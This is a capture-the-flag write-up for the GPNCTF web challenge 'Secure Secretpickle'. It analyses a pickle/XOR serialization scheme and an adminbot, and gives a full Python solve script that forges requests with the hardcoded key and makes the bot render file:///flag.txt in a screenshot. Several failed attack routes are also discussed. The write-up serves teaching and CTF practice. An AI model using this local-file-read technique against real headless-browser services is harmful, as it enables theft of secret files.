Secure Secretpickle
Secure Secretpickle
Platform: gpnctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-06 | Status: Solved Techniques: adminbot_screenshot_exfiltration, file_protocol_abuse_via_adminbot, hardcoded_xor_key_extraction, secretpickle_format_forging
Summary
Task: Custom 'secretpickle' serialization (XOR + pickle) with seccomp-sandboxed server-side deserialization, Pyodide client, and Playwright adminbot that stores flag as admin password. Solution: Bypass all pickle/seccomp complexity by sending file:///flag.txt URL to adminbot, which renders the flag in Chromium and returns a screenshot.
Secure Secretpickle — GPNCTF 2025
Description
The only serialization method that I found in the restaurant were Pickles. So I made an encrypted (and secure) version of it that nobody can crack or pwn!
A multi-component web challenge with a custom "secretpickle" serialization format (XOR encryption + pickle), a seccomp-sandboxed server, a Pyodide-based browser client, and a Playwright adminbot. The flag is stored as the admin user's password in the same container.
Analysis
Architecture Overview
The challenge has four main components:
-
Server (
server.py): FastAPI app that deserializes incoming requests usingsecretpickle_load()with asafe_pickle_loaddecoder. Supports actions:hello,register,login,whoami,encrypt,decrypt, andadminbot. -
Client (
client.py): Runs in-browser via Pyodide (Python-in-WASM). Parses URL query parameters as YAML, addslocalStorage.usernameandlocalStorage.passwordto the payload, sends secretpickle-encoded POST to server. Response HTML goes through DOMPurify 3.4.7. -
Adminbot (
adminbot.py): Playwright/Chromium bot that:- Registers user "admin" with
password=FLAG(read from/flag.txt) - Logs in (stores credentials in localStorage)
- Visits
whoamito confirm login - Visits attacker-supplied URL
- Takes a screenshot and returns it
- Registers user "admin" with
-
SecretPickle format (
secretpickle.py):base64(XOR(pickle_bytes[14:], key))where the XOR key is hardcoded:77c07f8fd2ae7ad9f5aabc008c79d0d3. -
Safe loader (
safe_loader.py): Spawns a subprocess, applies seccomp filter (default=KILL, allow onlywritesyscall), then doespickle.loads()→json.dumps()→ stdout. Parent reads stdout and doesjson.loads().
Key Source Code
secretpickle.py — hardcoded XOR key:
python read-only • copy allowedSECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28") SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3") def secretpickle_dump(decoded, encoder=pickle.dumps): raw = encoder(decoded) trimmed = raw[len(SECRETPICKLE_OBJECT_PREFIX):] xored = secretpickle_encrypt(trimmed) encoded = base64.b64encode(xored).decode() return encoded
adminbot.py — reads flag and visits arbitrary URLs:
python read-only • copy allowedFLAG = open("/flag.txt").read().strip() async def visit(url): # ... registers admin with password=FLAG, logs in ... await page.goto(url) # visits attacker-supplied URL screenshot = await page.screenshot(full_page=True) return screenshot
server.py — adminbot action accepts any base64-encoded URL:
python read-only • copy allowedif action == "adminbot": url = base64.b64decode(params["url"]).decode() adminbot_url = f"http://{ADMINBOT_HOST}:{ADMINBOT_PORT}/visit?url={quote(url)}" screenshot = await asyncio.to_thread(_fetch) return ok(f"<img src='data:image/png;base64,{base64.b64encode(screenshot).decode()}'>")
Attack Surface Analysis
| Vector | Feasibility | Why |
|---|---|---|
| Server-side pickle RCE | ❌ | Seccomp sandbox blocks all syscalls except write |
| Seccomp bypass via eval | ❌ | eval() works but subprocess is isolated from server process |
| YAML injection in client | ❌ | & is replaced with newline, preventing YAML anchors |
| DOMPurify bypass | ❌ | Version 3.4.7, no known bypasses |
javascript: URL via adminbot | ❌ | Playwright blocks javascript: protocol in page.goto() |
data: URL with JS | ❌ | Works but has null origin — can't access server's localStorage |
file:// URL via adminbot | ✅ | Chromium renders local files, adminbot returns screenshot |
The Vulnerability
The adminbot's page.goto(url) accepts any URL scheme, including file://. Since the adminbot and server run in the same container, and /flag.txt exists on disk (the adminbot reads it at startup), we can make Chromium navigate to file:///flag.txt. Chromium renders the file content as a text page, and the adminbot takes a screenshot which is returned to us as a base64-encoded PNG.
The entire pickle/seccomp/XOR complexity is a red herring — the real vulnerability is the unrestricted URL scheme in the adminbot.
Solution
Step 1: Forge a secretpickle request
Since the XOR key is hardcoded in secretpickle.py, we can import the module directly and use secretpickle_dump() to create valid requests:
python read-only • copy allowedfrom secretpickle import secretpickle_dump, secretpickle_load payload = { "action": "adminbot", "params": {"url": base64.b64encode(b"file:///flag.txt").decode()} } b64 = secretpickle_dump(payload)
Step 2: Send the request and extract the screenshot
POST the encoded payload to the server. The server forwards the URL to the adminbot, which:
- Registers "admin" with password=FLAG
- Logs in
- Navigates to
file:///flag.txt - Takes a screenshot
- Returns it to the server, which embeds it in the response as a base64 PNG
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ Secure Secretpickle exploit — GPNCTF 2025 Abuses adminbot's unrestricted page.goto() to read /flag.txt via file:// protocol. """ import sys, os, base64, json, re import urllib.request, urllib.parse sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), 'secretpickle-secure')) from secretpickle import secretpickle_dump, secretpickle_load TARGET = sys.argv[1].rstrip('/') def send_dict(d, timeout=120): b64 = secretpickle_dump(d) url = TARGET + '/' + urllib.parse.quote(b64, safe='') req = urllib.request.Request(url, method='POST') with urllib.request.urlopen(req, timeout=timeout) as r: raw = r.read().decode() enc = json.loads(raw) return secretpickle_load(enc) # Make adminbot visit file:///flag.txt and return screenshot bot_url = base64.b64encode(b"file:///flag.txt").decode() res = send_dict({"action": "adminbot", "params": {"url": bot_url}}) if res.get("status") == "ok": result = res.get("result", "") # Save screenshot m = re.search(r"data:image/png;base64,([A-Za-z0-9+/=]+)", result) if m: img_data = base64.b64decode(m.group(1)) with open("flag_screenshot.png", "wb") as f: f.write(img_data) print(f"Screenshot saved ({len(img_data)} bytes)") # Extract flag from any text in response flags = re.findall(r"GPNCTF\{[^}]*\}", result) if flags: print(f"FLAG: {flags[0]}") else: print(f"Error: {res}")
Failed Approaches
-
Server-side pickle RCE: The seccomp sandbox in
safe_loader.pykills the process on any syscall exceptwrite. Whileeval()andexec()work (they're pure Python bytecode execution), the subprocess can't perform file I/O, network operations, or any OS interaction beyond writing to already-open file descriptors. -
Subprocess stdout injection: Successfully demonstrated that
exec()works under seccomp and can control the subprocess output viasys.stdout.write()+sys.exit(0). However, the subprocess is completely isolated from the server process — it can't modify server memory, hook functions, or alter responses to other clients. -
YAML injection in client: The client parses URL query parameters as YAML (
?key=value→key: value). The&separator is replaced with newline. This prevents YAML anchors (&anchor) which could have been used to referencepl["password"]in the params. Without anchors, there's no way to make the YAML parser include the admin's password in a visible field. -
javascript:URL: Playwright blocksjavascript:protocol inpage.goto(), raising an error. -
data:URL with JavaScript: Works — the adminbot can visitdata:text/html;base64,...URLs and execute JavaScript. However,data:URLs have a null origin, solocalStorageaccess returns null (it's scoped to the challenge domain's origin, not the null origin).